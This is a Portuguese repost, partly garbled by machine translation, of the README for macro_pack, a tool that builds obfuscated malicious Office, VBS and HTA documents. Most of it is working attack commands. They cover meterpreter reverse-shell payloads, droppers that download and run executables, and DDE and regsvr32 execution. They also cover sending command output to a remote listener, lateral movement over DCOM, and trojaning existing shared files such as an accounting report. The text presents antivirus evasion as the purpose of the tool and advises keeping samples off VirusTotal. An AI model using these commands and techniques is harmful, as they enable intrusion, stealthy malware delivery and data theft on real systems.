NOTÍCIAS

[ANONYMOUS][grids]

Macro_pack - Ferramenta utilizada para geração de documentos do Ms Office para Pentest e de engenharia social


macro_pack



O macro_pack é uma ferramenta usada para automatizar a ofuscação e a geração de formatos retro, como documentos do MS Office ou formato VBS. Esta ferramenta pode ser usada para redteaming, pentests, demos e avaliações de engenharia social. O macro_pack simplificará as soluções antimalware, ignorando e automatizando o processo da geração vba para a geração final do documento do Office.


É muito simples de usar:


  • Sem configuração
  • Tudo pode ser feito usando uma única linha de código
  • Geração da maioria dos formatos Office e formatos baseados em VBS
  • Avançados ataques de macro VBA, bem como ataques DDE
A ferramenta é compatível com as cargas úteis geradas por ferramentas pentest populares (Metasploit, Empire, ...). Também é fácil de combinar com outras ferramentas, pois é possível ler a entrada de stdin e ter uma saída silenciosa para outra ferramenta. Esta ferramenta está escrita em Python3 e funciona na plataforma Linux e Windows.

Nota: a plataforma Windows com os aplicativos do MS Office corretos instalados é necessária para geração automática de documentos do Office ou recursos troianos.

Ofuscação

A ferramenta usará várias técnicas de ofuscamento, tudo automático. O recurso Obfuscation é competitivo com todo o formato que pode ser gerado pelo macri_pack, VBA ou VBS.
O ofuscamento básico (opção -o) inclui:

  • Funções de renome
  • Renomeando variáveis
  • Removendo espaços
  • Removendo comentários
  • Encoding Strings
Note-se que o objetivo principal da ofuscação macro_pack não é evitar a engenharia reversa, é evitar a detecção de antivírus .

Geração

O Macro Pack pode gerar vários tipos de documentos do MS Office e formatos de scripts. O formato será adivinhado automaticamente dependendo da extensão de arquivo fornecida. A geração de arquivos é feita usando a opção --gerar ou -G.
A versão do Macro Pack pro também permite trojan arquivos existentes com opção --trojan ou -T

Ms Office Os formatos suportados são:
  • MS Word 97 (.doc)
  • MS Word (.docm, .docx)
  • MS Excel 97 (.xls)
  • MS Excel (.xlsm)
  • MS PowerPoint (.pptm)
  • MS Visio 97 (.vsd)
  • MS Visio (.vsdm)
  • MS Project (.mpp)
Os formatos suportados pelo script (txt) são:
  • Arquivo de texto VBA (.vba)
  • Arquivo de texto VBS (.vbs)
  • Windows Script Host (.wsh)
  • Script dos scripts do Script do Windows (.wsc, .sct)
  • Aplicações em HTML (.hta)
Note que todos os formatos de script podem ser gerados na versão Linux do macro_pack também.

Uso ético
A ferramenta macro_pack só deve ser usada por pentester, pesquisadores de segurança ou outras pessoas com fins de aprendizagem. Eu condenn todo o uso de ferramentas de segurança para ações antiéticas (o clima é legal ou ilegal). Eu sei que isso não impedirá o uso por pessoas mal-intencionadas e é por isso que todos os recursos não são divulgados publicamente.

Sobre o modo pro ...
Você pode notar que nem todas as partes do macro_pack estão disponíveis. Apenas a versão da comunidade está disponível online. Eu temo que os recursos da versão pro realmente sejam muito "armando" o processo e não quero que esteja disponível para todos os criadores de scripts lá fora. O modo pro inclui recursos como:
  • Avance antimalware bypass
  • VBOM bypass de segurança
  • Auto-decodificação VBA
  • Persistência do MS Office
  • Trojan documentos do MS Office existentes
  • Movimento lateral usando objetos DCOM
  • Anti-debug usando http://seclists.org/fulldisclosure/2017/Mar/90
Por enquanto, não pretendo lançar ou vender esta versão profissional, no entanto, se você estiver realmente interrested, posso compartilhar pro binário no próximo caso:
  • Você significa significativamente contribuir com o macro_pack no GitHub + Preciso conhecer sua identidade

Run / Install

Execute o binário do Windows
  1. Obter o último binário de https://github.com/sevagas/macro_pack/releases/
  2. Faça o download do binário no PC com o Microsoft Office original instalado.
  3. Abra o console, o CD ao diretório binário e chame o binário, simples assim!
macro_pack.exe --help

Instalar de fontes
Baixar e instalar dependências:
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
Nota: Para o Windows, você também precisa baixar manualmente pywin32 de https://sourceforge.net/projects/pywin32/files/pywin32/
A ferramenta está em python 3, então apenas comece com sua instalação python3. ex:

python3 macro_pack.py  --help
# or
python macro_pack.py --help # if python3 is default install
Se você quer produzir um exe independente usando pyinstaller:
O macro_pack.exe resultante será dentro do diretório bin . 

Alguns exemplos da

comunidade macro_pack

  • Obfusar o arquivo vba gerado pelo msfvenom e colocar o resultado em um novo arquivo vba.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
  • Obfuscate Empire stager vba file e gerar um documento do MS Word:
macro_pack.exe -f empire.vba -o -G myDoc.docm
  • Gerar um arquivo MS Excel contendo um conta-gotas ofuscante (download payload.exe e armazenar como drop.exe)
echo "https://myurl.url/payload.exe" "dropped.exe" |  macro_pack.exe -o -t DROPPER -G "drop.xlsm" 
  • Crie um documento da palavra 97 que contenha uma carga útil obstruída do inversor do metro reverso dentro de uma pasta compartilhada:
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G \\REMOTE-PC\Share\meter.doc   
  • Baixe e execute o Impulso do iniciador do Império sem powershell.exe usando o modelo DROPPER_PS
# 1 Generate a fiez containing Empire lauchcher 
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack  to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.
  • Execute o Calc.exe através do ataque Dynamic Data Exchange (DDE)
echo calc.exe | macro_pack.exe --dde -G dde_test.docx
  • Baixe e execute o arquivo via powershell usando o ataque Dynamic Data Exchange (DDE)
# 1 Change the target file URL in resources\community\ps_dl_exec.cmd
# 2 Embed download execute cmd in document
python macro_pack.py --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.doc
  • Gere o arquivo VBS VBS reverso Meterpreter obfuso e execute-o
# 1 Generate obfuscated VBS based on meterpreter template
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs
# 2 On attacker machinge Setup meterpreter listener
Open msfconsole:
use exploit/multi/handler
set LHOST 0.0.0.0
set PAYLOAD windows/meterpreter/reverse_tcp
set AutoRunScript post/windows/manage/migrate
set EXITFUNC thread
set ExitOnSession false
set EnableUnicodeEncoding true
set EnableStageEncoding true
# 3 run VBS file with wscript (run 32bit wscript because meterpreter payload is 32bit)
%windir%\SysWoW64\wscript meter.vbs
  • Arquivo HTA obsoleto gerado que executa "systeminfo" e retorna o resultado para outro macro_pack ouvindo 192.168.0.5
# 1 Generate HTA file with CMD template
echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t CMD -o -G info.hta
# 2 On 192.168.0.5 open macro_pack as http listener
macro_pack.exe -l 1234
# 3 run hta file with mshta
mshta.exe full/path/to/info.hta
  • Gere o arquivo SCT SCT PPT invertido Meterpreter obfuso e execute-o
# 1 Generate obfuscated VBS scriptlet based on meterpreter reverse HTTPS template
echo <ip> <port> | macro_pack.exe -t WEBMETER -o -G meter.sct
# 2 On attacker machinge Setup meterpreter listener
Open msfconsole:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https

set LHOST <attacker_ip> # NOTE this cannot be 0.0.0.0 for reverse https
set LPORT <port>
set AutoRunScript post/windows/manage/migrate
set EXITFUNC thread
set ExitOnSession false
set EnableUnicodeEncoding true
set EnableStageEncoding true
exploit -j
# 3 run scriptlet with regsvr32 
regsvr32 /u /n /s /i:meter.sct scrobj.dll

macro_pack pro
  • Trojan o arquivo "report.xlsm" compartilhado existente com um conta-gotas. Use anti-AV e anti-debug recursos.
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER2 --trojan --av-bypass --stealth  -G "E:\accounting\report.xls"   
  • Genenerar um arquivo do Word contendo VBA auto-codificado x64 reverse meterpreter VBA carga útil (irá ignorar a maioria dos AV). Manter-vivo é necessário porque precisamos de um medidor para permanecer vivo antes de migrar.
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba |  macro_pack.exe -o --vbom-encode --keep-alive  -G  out.docm
  • Trojan um arquivo do PowerPoint com um inversor de medição reversa. A macro é ofuscada e mangada para ignorar a maioria dos antivírus.
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba |  macro_pack.exe -o --av-bypass --trojan -G  hotpics.pptm
  • Execute uma macro em um PC remoto usando o DCOM
REM Step 1: Ensure you have enough rights
net use  \\192.168.0.8\c$ /user:domain\username password

REM Step 2: Generate document, for example here, meterpreter reverse TCP Excel file
echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsm
REM Step 3: Copy the document  somewhere on remote share
copy meter.xlsm "\\192.168.0.8\c$\users\username\meter.xlsm"
REM Step 4: Execute!
macro_pack.exe --dcom="\\192.168.0.8\c$\users\username\meter.xlsm"

REM Step 2 to 4 in one step:
echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "\\192.168.0.8\c$\users\username\meter.xlsm" --dcom="\\192.168.0.8\c$\users\username\meter.xlsm"

Todas as opções disponíveis Opções

gerais:
    -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option 
        If no input file is provided, input must be passed via stdin (using a pipe).
        
    -q, --quiet Do not display anything on screen, just process request. 
    
    -o, --obfuscate  Same as '--obfuscate-form --obfuscate-names --obfuscate-strings'
    --obfuscate-form Modify readability by removing all spaces and comments in VBA
    --obfuscate-strings Randomly split strings and encode them
    --obfuscate-names   Change functions, variables, and constants names
      
    -s, --start-function=START_FUNCTION   Entry point of macro file 
        Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open  as the start function
        
    -t, --template=TEMPLATE_NAME    Use VBA template already included in macro_pack.exe.
        Available templates are: HELLO, CMD, DROPPER, DROPPER2, DROPPER_PS, DROPPER_DLL, METERPRETER, EMBED_EXE 
        Help for template usage: macro_pack.exe -t help
         
         
    -G, --generate=OUTPUT_FILE_PATH. Generates a file containing the macro. Will guess the format based on extension.
        Supported extensions are: vba, vbs, hta, doc, docm, xls, xlsm, pptm, vsd, vsdm.
        Note: Apart from vba which is a text files, all other requires Windows OS with right MS Office application installed.
    
    -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document.
         Use with EMBED_EXE template to auto drop and exec the file.
    
    --dde  Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE
         DDE attack mode is not compatible with VBA Macro related options.
         Usage: echo calc.exe | macro_pack.exe --dde -W DDE.docx
         Note: This option requires Windows OS with genuine MS Office installed.
         
    --run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations.
       This will trigger AutoOpen/Workbook_Open automatically. 
       If no auto start function, use --start-function option to indicate which macro to run. 
    
    -l, --listen=PORT Open an HTTP server listening on defined port.
       
    -h, --help   Displays help and exit
    
  Notes:
    If no output file is provided, the result will be displayed on stdout.
    Combine this with -q option to pipe only processed result into another program
    ex: macro_pack.exe -f my_vba.vba -o -q | another_app
    Another valid usage is:
    cat input_file.vba | macro_pack.exe -o -q  > output_file.vba

macro_pack Pro apenas:
    --vbom-encode   Use VBA self encoding to bypass antimalware detection and enable VBOM access (will exploit VBOM self activation vuln).
                  --start-function option may be needed.
    --av-bypass  Use various tricks  efficient to bypass most av (combine with -o for best result)
    --keep-alive    Use with --vbom-encode option. Ensure new app instance will stay alive even when macro has finished
    --persist       Use with --vbom-encode option. Macro will automatically be persisted in application startup path
                    (works with Excel documents only). The macro will then be executed anytime an Excel document is opened (even non-macro documents).
    -T, --trojan=OUTPUT_FILE_PATH   Inject macro in an existing MS office file. 
                    Supported files are the same as for the -G option.
                    Files will also be converted to approriate format, ex: pres.pptx will become pres.pptm
                    If file does not exist, it will be created (like -G option)
    --stealth      Anti-debug and hiding features
    --dcom=REMOTE_FILE_PATH Open remote document using DCOM for pivot/remote exec if psexec not possible for example.
                   This will trigger AutoOpen/Workboo_Open automatically. 
                   If no auto start function, use --start-function option to indicate which macro to run.

Modelos de uso de
modelos podem ser chamados de usar -t, --template = TEMPLATE_NAME combinado com outras opções. 
Aqui estão todos os modelos disponíveis. 

HELLO
Imprima apenas uma mensagem e uma consciência sobre a macro
Envie este modelo o nome ou o email do autor
-> Exemplo:echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm

CMD
Execute uma linha de comando e envie o resultado para o servidor http remoto.
Dê a este modelo o URL do servidor e o comando para executar
-> Exemplo :echo "http://192.168.0.5:7777" "dir /Q C:" | macro_pack.exe -t CMD -o -G cmd.doc

# Catch result with any webserver or netcat
nc -l -p 7777

DROPPER
Baixe e execute um arquivo. 
Dê a este modelo o URL do arquivo e o caminho do arquivo de destino 
-> Exemplo: echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls

DROPPER2
Baixe e execute um arquivo. Os atributos de arquivo também são definidos como sistema, somente leitura e oculto. 
Dê a este modelo o URL do arquivo e o caminho do arquivo de destino. 
-> Exemplo: echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER2 -o -G dropper.xlsm

DROPPER_PS
Baixe e execute o script Powershell usando rundll32 (para ignorar powershell.exe bloqueado). 
Nota: Esta carga útil irá baixar o PowerShdll da Github. 
Dê a este modelo o URL do script do powershell que deseja executar 
-> Exemplo: echo "<powershell_script_url>" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc

DROPPER_DLL
Faça o download de uma DLL com outra extensão e execute-a usando o Office VBA
-> Exemplo, carregue o meterpreter DLL usando o Office:

REM Generate meterpreter dll payload
msfvenom.bat  -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dll
REM Make it available on webserver, ex using netcat on port 6666
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat meter.dll; } | nc -l -p 6666 -q1
REM Create OFfice file which will download DLL and call it
REM The DLL URL is http://192.168.0.5:6666/normal.html and it will be saved as .asd file
echo "http://192.168.0.5:6666/normal.html" Run | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls

METERPRETER
Meterpreter reverse TCP template usando MacroMeter por Cn33liz. 
Este modelo é CSharp Meterpreter Stager build por Cn33liz e incorporado no VBA usando DotNetToJScript de James Forshaw. 
Dê a este modelo o IP e PORT de ouvir mfsconsole 
-> Exemplo: Opções echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm
recomendadas de msfconsole (use exploit / multi / handler):

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <ip>
set LPORT <port>
set AutoRunScript post/windows/manage/migrate
set EXITFUNC thread
set ExitOnSession false
set EnableUnicodeEncoding true
set EnableStageEncoding true
exploit -j

WEBMETER
Meterpreter reverse TCP template usando VbsMeter by Cn33liz. 
Este modelo é CSharp Meterpreter Stager build por Cn33liz e incorporado no VBA usando DotNetToJScript de James Forshaw. 
Dê a este modelo o IP e PORT de ouvir mfsconsole 
-> Exemplo: Opções echo <ip> <port> | macro_pack.exe -t WEBMETER -o -G meter.vsd
recomendadas de msfconsole (use exploit / multi / handler):

set PAYLOAD windows/meterpreter/reverse_https (32bit)
set PAYLOAD windows/x64/meterpreter/reverse_https (64bit)
set AutoRunScript post/windows/manage/migrate
set LHOST <ip>
set LPORT <port>
set EXITFUNC thread
set ExitOnSession false
set EnableUnicodeEncoding true
set EnableStageEncoding true
exploit -j

EMBED_EXE
Combine com a opção --embed, ele irá soltar e executar (oculto) o arquivo incorporado. 
Opcionalmente, você pode dar ao modelo o caminho onde o arquivo deve ser extraído 
Se o caminho de extração não for fornecido, o arquivo será extraído com nome aleatório no caminho atual. 
-> Exemplo1: macro_pack.exe -t EMBED_EXE --embed=%%windir%%\system32\calc.exe -o -G my_calc.vbs
-> Exemplo2: echo "path\\to\newcalc.exe" | macro_pack.exe -t EMBED_EXE --embed=%%windir%%\system32\calc.exe -o -G my_calc.doc

Eficiência
Os vários recursos foram testados em relação às soluções Antimalware instaladas localmente, bem como ao serviço on-line. Executei vários testes com vários tipos de cargas úteis e recursos de macro_pack. A maioria dos antivírus será evadida pela simples opção "ofuscada". Os recursos disponíveis no modo pro geralmente garantem o bypass AV completo. 

Exemplo com Empire VBA stager:
Aqui estão os resultados do scanner NoDistribute para o vigário padrão VBA do Império



Aqui estão os resultados com a opção macro_pack -o (--obfuscate)


Aviso: não envie suas amostras para o scanner on-line (ex VirusTotal), é a melhor maneira de quebrar sua macro furtiva. Também sugiro que você não envie para um site que não seja um relatório, como NoDistribute. Você não pode ter certeza do que esses sites farão com os dados enviados. Se você tiver um problema com a detecção de AV de macro_pack, você pode nos escrever para obter um conselho ou enviar uma solicitação de problema ou puxar.